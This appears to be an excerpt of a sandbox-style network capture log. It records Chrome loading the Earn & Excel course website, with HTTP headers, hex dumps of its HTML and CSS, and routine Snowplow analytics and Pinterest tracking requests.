2024-04-11 21:26:53 UTC	1307	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0eba9e85c459-EWR CF-Cache-Status: HIT Age: 549214 Cache-Control: public, max-age=0, s-maxage=2592000 Last-Modified: Fri, 05 Apr 2024 12:53:02 GMT Link: <https://earnandexcel.com/wp-json/>; rel="https://api.w.org/", <https://earnandexcel.com/wp-json/wp/v2/pages/706>; rel="alternate"; type="application/json", <https://earnandexcel.com/>; rel=shortlink Vary: Accept-Encoding accept-ch: Sec-CH-UA-Mobile content-security-policy: block-all-mixed-content ki-Cache-Tag: 2b83a4e6-d195-4d43-8593-11c2c85261d1,8973444835bdf8b5a47f964a6b24818e4c801769a49cae804952e440ed5819b1 ki-cache-type: Edge Ki-CF-Cache-Status: HIT ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 x-kinsta-cache: HIT x-nitro-cache: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SXNxQFLLjMq071%2Fdffy%2BEJFLQCIaycfGJSVnR3mazWfs3Dw%2BcS4c9AABM%2Fzvhq0UVIvD3PIXyJPjDI7%2FbUtuLbfxRTuTyE%2B3szKljS7Wwdf%2Fl0nVDikLjTs7yHjaOiy2ar4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 37 66 66 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 3e 0a 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 Data Ascii: 7ff2<!DOCTYPE html><html lang="en-US" ><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><script type="text/javascript">window.flatStyles
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 2d 6c 73 2d 6f 70 74 69 6d 69 7a 65 64 27 2c 20 27 31 27 20 29 0a 0a 09 09 09 09 09 09 09 09 09 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 2b 3d 20 63 75 72 72 65 6e 74 53 74 79 6c 65 73 68 65 65 74 2e 69 6e 6e 65 72 48 54 4d 4c 0a 0a 09 09 09 09 09 09 09 09 09 74 68 69 73 2e 6f 70 74 69 6d 69 7a 69 6e 67 20 3d 20 66 61 6c 73 65 0a 09 09 09 09 09 09 09 09 7d 0a 09 09 09 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 09 09 09 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 3d 20 63 75 72 72 65 6e 74 53 74 79 6c 65 73 68 65 65 74 2e 69 6e 6e 65 72 48 54 4d 4c 0a 09 09 09 09 09 09 09 09 63 75 72 72 65 6e 74 53 74 79 6c 65 73 68 65 65 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 20 27 64 61 74 61 2d 6c 73 2d 6f 70 74 69 6d 69 7a 65 64 Data Ascii: -ls-optimized', '1' )window.flatStyles += currentStylesheet.innerHTMLthis.optimizing = false}} else {window.flatStyles = currentStylesheet.innerHTMLcurrentStylesheet.setAttribute( 'data-ls-optimized
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6d 61 78 2d 73 6e 69 70 70 65 74 3a 2d 31 2c 20 6d 61 78 2d 76 69 64 65 6f 2d 70 72 65 76 69 65 77 3a 2d 31 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 31 38 2e 32 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 53 6b 69 6c 6c 73 20 46 6f 72 20 50 72 6f 66 65 73 73 69 6f 6e 61 6c 73 20 2d 20 45 61 72 6e 20 26 61 6d 70 3b 20 45 78 63 65 6c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6c 69 6e Data Ascii: index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />... This site is optimized with the Yoast SEO plugin v18.2 - https://yoast.com/wordpress/plugins/seo/ --><title>Skills For Professionals - Earn & Excel</title><lin
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 54 6f 20 53 61 79 20 45 78 63 65 6c 6c 65 6e 74 20 43 6f 75 72 73 65 73 20 e2 80 9c 54 68 69 73 20 63 6f 75 72 73 65 20 69 73 20 65 78 63 65 6c 6c 65 6e 74 2e 20 54 68 65 20 53 6b 69 6c 6c 73 20 49 20 68 61 76 65 20 64 65 76 65 6c 6f 70 65 64 20 68 61 76 65 20 67 69 76 65 6e 20 6d 65 20 74 68 65 20 63 6f 6e 66 69 64 65 6e 63 65 20 74 6f 20 74 61 63 6b 6c 65 20 61 64 76 61 6e 63 65 64 20 70 72 6f 62 6c 65 6d 73 20 69 6e 20 61 6e 20 49 6e 76 65 73 74 6d 65 6e 74 20 42 61 6e 6b 69 6e 67 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 20 55 6e 6c 69 6b 65 20 6f 74 68 65 72 20 63 6f 75 72 73 65 73 2c 20 74 68 65 20 74 75 74 6f 72 69 61 6c 73 20 61 72 65 20 70 72 61 63 74 69 63 61 6c 2c 20 74 6f 20 74 68 65 20 70 6f 69 6e 74 20 61 6e 64 20 61 72 65 20 72 65 6c 65 76 61 Data Ascii: To Say Excellent Courses This course is excellent. The Skills I have developed have given me the confidence to tackle advanced problems in an Investment Banking environment. Unlike other courses, the tutorials are practical, to the point and are releva
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 73 20 41 6e 64 20 42 6c 6f 67 73 20 4d 73 20 50 6f 77 65 72 20 50 6c 61 74 66 6f 72 6d 20 43 6f 75 72 73 65 20 49 6e 74 72 6f 20 57 68 61 74 20 52 65 6d 69 6e 64 65 72 73 20 6c 6f 6f 6b 20 6c 69 6b 65 20 49 6e 20 4f 75 74 6c 6f 6f 6b 20 48 6f 77 20 54 6f 20 53 65 6e 64 20 41 74 74 61 63 68 6d 65 6e 74 73 20 49 6e 20 4f 75 74 6c 6f 6f 6b 20 48 6f 77 20 54 6f 20 50 72 69 6e 74 20 43 61 6c 65 6e 64 61 72 20 49 6e 20 4f 75 74 6c 6f 6f 6b 20 4a 61 6e 75 61 72 79 20 38 2c 20 32 30 32 31 20 48 6f 77 20 54 6f 20 53 65 61 72 63 68 20 43 61 6c 65 6e 64 61 72 20 49 6e 20 4f 75 74 6c 6f 6f 6b 20 48 6f 77 20 77 65 20 63 61 6e 20 71 75 69 63 6b 6c 79 20 6c 6f 6f 6b 20 66 6f 72 20 74 68 69 6e 67 73 20 6f 72 20 70 65 6f 70 6c 65 20 74 68 61 74 20 26 68 65 6c 6c 69 70 3b Data Ascii: s And Blogs Ms Power Platform Course Intro What Reminders look like In Outlook How To Send Attachments In Outlook How To Print Calendar In Outlook January 8, 2021 How To Search Calendar In Outlook How we can quickly look for things or people that …
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 65 78 63 65 6c 2e 63 6f 6d 2f 3f 73 3d 7b 73 65 61 72 63 68 5f 74 65 72 6d 5f 73 74 72 69 6e 67 7d 22 7d 2c 22 71 75 65 72 79 2d 69 6e 70 75 74 22 3a 22 72 65 71 75 69 72 65 64 20 6e 61 6d 65 3d 73 65 61 72 63 68 5f 74 65 72 6d 5f 73 74 72 69 6e 67 22 7d 5d 2c 22 69 6e 4c 61 6e 67 75 61 67 65 22 3a 22 65 6e 2d 55 53 22 7d 2c 7b 22 40 74 79 70 65 22 3a 22 49 6d 61 67 65 4f 62 6a 65 63 74 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 23 70 72 69 6d 61 72 79 69 6d 61 67 65 22 2c 22 69 6e 4c 61 6e 67 75 61 67 65 22 3a 22 65 6e 2d 55 53 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 65 64 75 6d Data Ascii: excel.com/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"ImageObject","@id":"https://earnandexcel.com/#primaryimage","inLanguage":"en-US","url":"https://earnandexcel.com/wp-content/uploads/edum
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 45 61 72 6e 20 26 61 6d 70 3b 20 45 78 63 65 6c 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 77 70 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 6c Data Ascii: <link rel="alternate" type="application/rss+xml" title="Earn & Excel » Comments Feed" href="https://earnandexcel.com/comments/feed/" /><link rel='stylesheet' id='wp-block-library-css' href='https://earnandexcel.com/wp-includes/css/dist/block-l
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 44 43 46 44 35 3b 2d 2d 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 67 72 61 79 2d 72 67 62 3a 32 30 35 2c 20 32 30 37 2c 20 32 31 33 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 75 74 6f 72 2d 70 72 6f 2d 66 72 6f 6e 74 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 74 75 74 6f 72 2d 70 72 6f 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 72 6f 6e 74 2e 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 66 6f 6e 74 2d 67 6f 72 64 69 74 61 Data Ascii: DCFD5;--tutor-color-gray-rgb:205, 207, 213;}</style><link rel='stylesheet' id='tutor-pro-front-css' href='https://earnandexcel.com/wp-content/plugins/tutor-pro/assets/css/front.css' type='text/css' media='all' /><link rel='stylesheet' id='font-gordita
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 2d 65 64 75 6d 61 6c 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 62 6f 64 79 2d 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 62 6f 64 79 2d 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 62 6f 64 79 2d 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 38 36 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 62 6f 64 79 2d 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 65 6d 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 68 65 61 64 69 6e 67 73 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 6e 68 65 72 69 74 3b 0a 09 09 09 09 2d 2d 65 64 75 Data Ascii: -edumall-typography-body-font-size: 14px;--edumall-typography-body-font-weight: 400;--edumall-typography-body-line-height: 1.86;--edumall-typography-body-letter-spacing: 0em;--edumall-typography-headings-font-family: inherit;--edu
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 6c 2d 63 6f 6c 6f 72 2d 66 6f 72 6d 2d 66 6f 63 75 73 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 73 75 62 2d 6d 65 6e 75 2d 62 6f 72 64 65 72 3a 20 23 65 64 65 64 65 64 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 73 75 62 2d 6d 65 6e 75 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 7d 0a 2e 62 6f 78 65 64 7b 6d 61 78 2d 77 69 64 74 68 3a 31 32 30 30 70 78 7d 3a 3a 2d 6d 6f 7a 2d 73 65 6c 65 63 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 37 31 64 63 7d 3a 3a 73 65 6c 65 63 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 Data Ascii: l-color-form-focus-background: #fff;--edumall-color-sub-menu-border: #ededed;--edumall-color-sub-menu-background: #fff;}.boxed{max-width:1200px}::-moz-selection{color:#fff;background-color:#0071dc}::selection{color:#fff;background-color:#00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.17	49999	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:53 UTC	639	OUT	POST /com.snowplowanalytics.snowplow/tp2 HTTP/1.1 Host: some.growplow.events Connection: keep-alive Content-Length: 1443 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:53 UTC	1443	OUT	Data Raw: 7b 22 73 63 68 65 6d 61 22 3a 22 69 67 6c 75 3a 63 6f 6d 2e 73 6e 6f 77 70 6c 6f 77 61 6e 61 6c 79 74 69 63 73 2e 73 6e 6f 77 70 6c 6f 77 2f 70 61 79 6c 6f 61 64 5f 64 61 74 61 2f 6a 73 6f 6e 73 63 68 65 6d 61 2f 31 2d 30 2d 34 22 2c 22 64 61 74 61 22 3a 5b 7b 22 63 78 22 3a 22 65 79 4a 7a 59 32 68 6c 62 57 45 69 4f 69 4a 70 5a 32 78 31 4f 6d 4e 76 62 53 35 7a 62 6d 39 33 63 47 78 76 64 32 46 75 59 57 78 35 64 47 6c 6a 63 79 35 7a 62 6d 39 33 63 47 78 76 64 79 39 6a 62 32 35 30 5a 58 68 30 63 79 39 71 63 32 39 75 63 32 4e 6f 5a 57 31 68 4c 7a 45 74 4d 43 30 77 49 69 77 69 5a 47 46 30 59 53 49 36 57 33 73 69 63 32 4e 6f 5a 57 31 68 49 6a 6f 69 61 57 64 73 64 54 70 6a 62 32 30 75 62 57 56 6b 61 57 46 32 61 57 35 6c 4c 33 4e 70 64 47 55 76 61 6e 4e 76 62 6e Data Ascii: {"schema":"iglu:com.snowplowanalytics.snowplow/payload_data/jsonschema/1-0-4","data":[{"cx":"eyJzY2hlbWEiOiJpZ2x1OmNvbS5zbm93cGxvd2FuYWx5dGljcy5zbm93cGxvdy9jb250ZXh0cy9qc29uc2NoZW1hLzEtMC0wIiwiZGF0YSI6W3sic2NoZW1hIjoiaWdsdTpjb20ubWVkaWF2aW5lL3NpdGUvanNvbn
2024-04-11 21:26:53 UTC	868	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:53 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 2 Connection: close set-cookie: collector_cookie=39daafcd-d67a-4e83-8fec-a5355e60408c; Expires=Fri, 11 Apr 2025 21:26:53 GMT; Path=/ p3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" access-control-allow-origin: https://earnandexcel.com access-control-allow-credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ndDdykh5y7PikA9L53r0lL3Rrr%2FPpm0nQlpZurej%2F%2F%2BF7gPbsu7G4eZe98Fcr1c9vNRsQ%2BmcTUx68hou3f4V96041RQ01mmnVk%2F1Nfz5sXM6GyQQ2Al3KRrCWm24EqJ6FPpalz0z3A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 872e0eba7e0b1899-EWR alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:53 UTC	2	IN	Data Raw: 6f 6b Data Ascii: ok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.17	50000	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:53 UTC	639	OUT	POST /com.snowplowanalytics.snowplow/tp2 HTTP/1.1 Host: some.growplow.events Connection: keep-alive Content-Length: 1158 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:53 UTC	1158	OUT	Data Raw: 7b 22 73 63 68 65 6d 61 22 3a 22 69 67 6c 75 3a 63 6f 6d 2e 73 6e 6f 77 70 6c 6f 77 61 6e 61 6c 79 74 69 63 73 2e 73 6e 6f 77 70 6c 6f 77 2f 70 61 79 6c 6f 61 64 5f 64 61 74 61 2f 6a 73 6f 6e 73 63 68 65 6d 61 2f 31 2d 30 2d 34 22 2c 22 64 61 74 61 22 3a 5b 7b 22 73 65 5f 63 61 22 3a 22 70 61 67 65 41 63 74 69 6f 6e 73 22 2c 22 73 65 5f 61 63 22 3a 22 70 61 67 65 5f 72 65 6e 64 65 72 22 2c 22 73 65 5f 70 72 22 3a 22 7b 5c 22 61 70 70 56 65 72 73 69 6f 6e 5c 22 3a 5c 22 37 2e 32 33 39 2e 31 5c 22 2c 5c 22 62 65 74 61 4e 61 6d 65 5c 22 3a 5c 22 37 2e 32 33 39 2e 31 5c 22 2c 5c 22 69 73 4c 6f 67 67 65 64 49 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 67 72 6f 77 4c 61 62 73 5c 22 3a 66 61 6c 73 65 2c 5c 22 66 61 63 65 62 6f 6f 6b 53 68 61 72 65 45 6e 61 62 6c 65 64 Data Ascii: {"schema":"iglu:com.snowplowanalytics.snowplow/payload_data/jsonschema/1-0-4","data":[{"se_ca":"pageActions","se_ac":"page_render","se_pr":"{\"appVersion\":\"7.239.1\",\"betaName\":\"7.239.1\",\"isLoggedIn\":false,\"growLabs\":false,\"facebookShareEnabled
2024-04-11 21:26:53 UTC	862	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:53 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 2 Connection: close set-cookie: collector_cookie=c0808950-6cb7-41b1-8f80-9520f9bb639a; Expires=Fri, 11 Apr 2025 21:26:53 GMT; Path=/ p3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" access-control-allow-origin: https://earnandexcel.com access-control-allow-credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1rZYJ%2FPjoytABGUHZv42ckeijzZWoH7sorTjTjZDVrqqnMJhu6ZhkEZYyetrHxApRPQgcFKEys100xHTCmyZwatia46MwlAsq8PuEvK3icf3Ki7Y58G%2FSJNWtn64EAsySv%2BeC8zs3w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 872e0eba8ae17c87-EWR alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:53 UTC	2	IN	Data Raw: 6f 6b Data Ascii: ok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.17	50001	151.101.64.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:53 UTC	561	OUT	GET /static/ct/token_create.js HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1
2024-04-11 21:26:54 UTC	364	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4101 ETag: "2a8d051abafd7b1d3f62592455b15f0c" x-amz-server-side-encryption: AES256 Cache-Control: max-age=7200 Content-Type: application/javascript Age: 0 Date: Thu, 11 Apr 2024 21:26:54 GMT Vary: Accept-Encoding X-CDN: fastly alt-svc: h3=":443";ma=600 Timing-Allow-Origin: https://ct.pinterest.com
2024-04-11 21:26:54 UTC	1378	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 72 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 69 28 6e 29 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 28 72 5b 6e 5d 7c 7c 28 65 3d 72 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 2c 74 5b 6e 5d 2e 63 61 6c 6c 28 65 2e 65 78 70 6f 72 74 73 2c 65 2c 65 2e 65 78 70 6f 72 74 73 2c 69 29 2c 65 2e 6c 3d 21 30 2c 65 29 29 2e 65 78 70 6f 72 74 73 7d 69 2e 6d 3d 74 2c 69 2e 63 3d 72 2c 69 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 69 2e 6f 28 6e 2c 65 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 6e 2c 65 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 74 7d 29 7d 2c 69 2e 72 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 22 75 6e 64 65 66 69 6e Data Ascii: !function(t){var r={};function i(n){var e;return(r[n]\|\|(e=r[n]={i:n,l:!1,exports:{}},t[n].call(e.exports,e,e.exports,i),e.l=!0,e)).exports}i.m=t,i.c=r,i.d=function(n,e,t){i.o(n,e)\|\|Object.defineProperty(n,e,{enumerable:!0,get:t})},i.r=function(n){"undefin
2024-04-11 21:26:54 UTC	1378	IN	Data Raw: 3d 74 28 32 29 2c 69 3d 7b 7d 2c 63 3d 22 75 6e 6b 6e 6f 77 6e 22 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 6e 2e 76 65 72 73 69 6f 6e 3d 63 2c 31 30 30 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3c 28 72 2e 4c 49 53 54 2e 53 45 4e 44 5f 4c 4f 47 53 2e 63 68 61 6e 63 65 7c 7c 30 29 26 26 69 2e 68 28 6e 29 7d 69 2e 73 65 74 56 65 72 73 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 63 3d 6e 7d 2c 69 2e 68 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 65 3d 6e 65 77 20 77 69 6e 64 6f 77 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 3b 65 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 3d 21 31 2c 65 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 6f 6c 65 2e 69 6e 66 6f 28 22 45 72 72 6f 72 20 6d 65 73 73 61 67 65 20 66 61 69 Data Ascii: =t(2),i={},c="unknown";function o(n){n.version=c,100*Math.random()<(r.LIST.SEND_LOGS.chance\|\|0)&&i.h(n)}i.setVersion=function(n){c=n},i.h=function(n){var e=new window.XMLHttpRequest;e.withCredentials=!1,e.onerror=function(){console.info("Error message fai
2024-04-11 21:26:54 UTC	1345	IN	Data Raw: 65 74 22 3d 3d 3d 74 3f 41 72 72 61 79 2e 66 72 6f 6d 28 6e 29 3a 22 41 72 67 75 6d 65 6e 74 73 22 3d 3d 3d 74 7c 7c 2f 5e 28 3f 3a 55 69 7c 49 29 6e 74 28 3f 3a 38 7c 31 36 7c 33 32 29 28 3f 3a 43 6c 61 6d 70 65 64 29 3f 41 72 72 61 79 24 2f 2e 74 65 73 74 28 74 29 3f 72 28 6e 2c 65 29 3a 76 6f 69 64 20 30 7d 28 6e 2c 65 29 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 64 65 73 74 72 75 63 74 75 72 65 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 2e 5c 6e 49 6e 20 6f 72 64 65 72 20 74 6f 20 62 65 20 69 74 65 72 61 62 6c 65 2c 20 6e 6f 6e 2d 61 72 72 61 79 20 6f 62 6a 65 63 74 73 20 6d 75 73 74 20 68 61 76 65 20 61 20 5b 53 Data Ascii: et"===t?Array.from(n):"Arguments"===t\|\|/^(?:Ui\|I)nt(?:8\|16\|32)(?:Clamped)?Array$/.test(t)?r(n,e):void 0}(n,e)\|\|function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.17	50002	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

